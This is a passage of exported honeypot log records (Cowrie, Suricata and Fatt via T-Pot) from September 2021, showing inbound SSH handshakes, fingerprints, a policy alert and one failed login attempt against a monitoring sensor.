".......P.......j..wU.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
34067	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:58:37.442293+03	2021-09-20 15:00:06.654173+03	{"_id": "eQYSA3wBvYTbRNuEhVNM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34440, "dest_port": 22, "timestamp": "2021-09-20T11:58:37.442293", "@timestamp": "2021-09-20T11:58:37.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34061	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:37.163349+03	2021-09-20 15:00:06.646174+03	{"_id": "eAYSA3wBvYTbRNuEhVNM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34440, "timestamp": "2021-09-20T11:58:37.163349", "@timestamp": "2021-09-20T11:58:37.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34062	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:58:38.445599+03	2021-09-20 15:00:06.647174+03	{"_id": "gQYSA3wBvYTbRNuEiFMr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:58:38.343113+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 784282359315529, "payload": "AAADzAYUMYimw1pkR2EASl8l7lhm6AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49540, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:58:38.445599Z", "@timestamp": "2021-09-20T11:58:38.445Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......1...ZdGa.J_%.Xf....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
34063	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:38.39722+03	2021-09-20 15:00:06.649175+03	{"_id": "gwYSA3wBvYTbRNuEiVM2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49540, "timestamp": "2021-09-20T11:58:38.397220", "@timestamp": "2021-09-20T11:58:38.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34064	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:58:38.396176+03	2021-09-20 15:00:06.650174+03	{"_id": "iwYSA3wBvYTbRNuEilPs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ff7d6f4b36d0", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:58:38.396176Z", "@timestamp": "2021-09-20T11:58:38.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34065	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:58:37.16264+03	2021-09-20 15:00:06.651173+03	{"_id": "dAYSA3wBvYTbRNuEg1Mb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e2743bff48ce", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:58:37.162640Z", "@timestamp": "2021-09-20T11:58:37.162Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34066	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:58:37.439245+03	2021-09-20 15:00:06.652174+03	{"_id": "dgYSA3wBvYTbRNuEhFNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1425959063155964, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34440, "dest_port": 22, "timestamp": "2021-09-20T11:58:37.439245Z", "@timestamp": "2021-09-20T11:58:37.439Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34068	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:58:37.442925+03	2021-09-20 15:00:06.655175+03	{"_id": "fwYSA3wBvYTbRNuEh1MD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e2743bff48ce", "@version": "1", "timestamp": "2021-09-20T11:58:37.442925Z", "@timestamp": "2021-09-20T11:58:37.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34069	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:58:38.445372+03	2021-09-20 15:00:06.656175+03	{"_id": "gAYSA3wBvYTbRNuEiFMr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 784282359315529, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49540, "dest_port": 22, "timestamp": "2021-09-20T11:58:38.445372Z", "@timestamp": "2021-09-20T11:58:38.445Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34070	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:58:38.445599+03	2021-09-20 15:00:06.658172+03	{"_id": "hAYSA3wBvYTbRNuEiVM2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49540, "dest_port": 22, "timestamp": "2021-09-20T11:58:38.445599", "@timestamp": "2021-09-20T11:58:38.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34071	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:58:38.752165+03	2021-09-20 15:00:06.659175+03	{"_id": "jAYSA3wBvYTbRNuEilPs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [vanderlei/vanderlei] failed", "session": "ff7d6f4b36d0", "@version": "1", "password": "vanderlei", "username": "vanderlei", "timestamp": "2021-09-20T11:58:38.752165Z", "@timestamp": "2021-09-20T11:58:38.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34072	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:31.994413+03	2021-09-20 15:00:06.661174+03	{"_id": "TwYSA3wBvYTbRNuEb1OP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "183.17.231.81", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.599919319152832, "duplicate": true, "timestamp": "2021-09-20T11:58:31.994413Z", "@timestamp": "2021-09-20T11:58:31.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34085	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:58:34.963965+03	2021-09-20 15:00:06.677179+03	{"_id": "XAYSA3wBvYTbRNuEfFNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 15686, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 412179277460861, "@version": "1", "in_iface": "enp5s0", "src_port": 57413, "dest_port": 53, "timestamp": "2021-09-20T11:58:34.963965Z", "@timestamp": "2021-09-20T11:58:34.963Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
